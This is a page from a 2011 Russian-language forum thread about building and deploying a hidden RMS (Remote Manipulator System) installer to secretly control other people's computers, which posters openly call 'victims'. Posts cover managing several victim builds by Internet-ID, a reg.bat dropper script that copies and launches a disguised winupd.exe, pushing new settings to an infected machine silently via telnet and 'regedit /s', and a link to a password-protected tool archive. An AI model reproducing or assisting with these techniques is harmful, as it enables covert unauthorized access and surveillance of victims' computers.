Скрытый RMS [удаленное администрирование]

Тема в разделе "Самое важное", создана пользователем sawyer1992, 25 фев 2011.

Страница 7 из 49
  1. zapadlo_zapadlov
    zapadlo_zapadlov Продвинутый
    Симпатии:
    4
    Какой размер файла ?
    А то есть подозрения .
     
    5 июл 2011
  2. onthar
    onthar Продвинутый
    Симпатии:
    224
    Вроде все чисто
     
    5 июл 2011
  3. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    установил server.exe по завершению установки открывается окно с просьбой ввести пароль (
    [​IMG]
    ключ вставлять пробовал не помогло
     
    7 июл 2011
  4. TDI
    TDI Новичок
    Симпатии:
    32
    Пароль в настроиках когда сервер создаеш вводить нужно, эсли ввел будет такое окно как у тебя когда кто-то питаетса запустить
     
    7 июл 2011
  5. zhora88
    zhora88 Новичок
    Симпатии:
    1
    Greshnik


    выключи ЗАЩИТУ сервера!!!при настройке..:bu:
     
    7 июл 2011
  6. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    Я это понял что в настройках,но он меня не пускает в настройки выводит именно это окно сразу после установки.
    или я тупо чью то подлянку себе на комп установил? архив брал тут
     
    7 июл 2011
  7. zhora88
    zhora88 Новичок
    Симпатии:
    1
    Greshnik

    ты пароль задавал пи настройке?если да то вводи....хотя этого не должно быть...первый раз такое окно вообще вижу!!!!или удоли да заново поставь сервер...
     
    7 июл 2011
  8. zapadlo_zapadlov
    zapadlo_zapadlov Продвинутый
    Симпатии:
    4
    А ты уверен что у тебя не стоит в скрытом режиме эта прога ???
    Тоесть ты не взломан ли таким рмс ?
     
    7 июл 2011
  9. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    я ничего не задавал при настройке только установил.

    да вот уже закрадываются такие мысли что славил гдето:(
    как бы теперь отыскать эту срань?
    кстати вот эта программка Friendly Net Watcher покажет кто лезит?
    http://www.kilievich.com/rus/fwatcher/index.htm
     
    7 июл 2011
  10. zapadlo_zapadlov
    zapadlo_zapadlov Продвинутый
    Симпатии:
    4
    Фаервол поставь себе нормальный и настрой правельно и всё будет хорошо.
     
    7 июл 2011
  11. TDI
    TDI Новичок
    Симпатии:
    32
    так RMS в процессах палитса, посмотри если ли процесс
     
    7 июл 2011
  12. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    народ у меня еще 1 вопросик,если я для каждой жертвы буду делать разные сборки с разным Internet-ID могу ли я их всех разом просматривать?
     
    7 июл 2011
  13. zapadlo_zapadlov
    zapadlo_zapadlov Продвинутый
    Симпатии:
    4
    Да ;)
     
    8 июл 2011
  14. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    Народ с этой проблемкой так и не решил вопрос (((( читал на многих форумах у людей тоже вылетает такое окно

    as39.radikal.ru_i086_1107_1e_98caafd96dce.jpg

    вместо

    [​IMG]

    и что за пароль хрен его знает,пробовал на 3-х ПК та же хрень и разные архивы скачивал :(

    моет кто нибудь скинет архивчик из первого поста а то там ссылка уже битая
     
    Последнее редактирование: 8 июл 2011
    8 июл 2011
  15. TDI
    TDI Новичок
    Симпатии:
    32
    реестер чистил?
    в процессах висит што-то от сервера?

    вот архив с 1 страницы http://narod.ru/disk/9840632001/utilities_v4.1.rar.html пасс 1231234 или 12341234 ))
     
    8 июл 2011
  16. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    прям на 3-х компах сразу? ))

    и если несложно что именно в реестре нужно почистить?
     
    8 июл 2011
  17. TDI
    TDI Новичок
    Симпатии:
    32
    [HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System]

    вроде ето)
     
    8 июл 2011
  18. Meskalin
    Meskalin Новичок
    Симпатии:
    0
    Ещё необходимо включить перед началом сборки песню Louis Armstronga What a wonderful world ^^ (это не флуд это действительно важно)

    Добавлено через 4 часа 19 минут
    а в файле reg.bat какие две строчки переписать нужно? что бы запустилось закинутая в архив даунлодера программа

    @echo off

    copy /y %temp%\winupd.exe "%SYSTEMROOT%\winupd.exe"

    del /f /q %temp%\winupd.exe

    start %SystemRoot%\winupd.exe

    del stop.js
    del reg.bat куда вписать "start\setup_av_free.exe" или как правильно вообще?) зарание спасибо
     
    Последнее редактирование: 8 июл 2011
    8 июл 2011
  19. Greshnik
    Greshnik Новичок
    Симпатии:
    0
    ОГРОМНОЕ тебе спасибо! помогло :yahoo:

    Добавлено через 1 час 53 минуты
    Скажите а если я делаю разные сборки с разным ID мне нужно полностью удалять сервер и всю процедуру заново делать или достаточно просто нажать получить новый ID и заменить сам .reg файл с новыми настройками в экзешнике?
     
    Последнее редактирование: 8 июл 2011
    8 июл 2011
  20. zhora88
    zhora88 Новичок
    Симпатии:
    1
    Greshnik
    получаеш новый id , ...перегружаеш сервер.копируеш реестр в файл.там все новые настройки...кидаеш его в сборку....можно кстати reg файл с новыми настройками запустить на уже установленном коне у жертвы(бывало что одну сборку заглатывало сразу трое)...кидается в system32,через телнет командой regedit /s <registry file>.reg
    .запускается файл без всяких выводов предупреждения...
     
    8 июл 2011
Страница 7 из 49
Загрузка...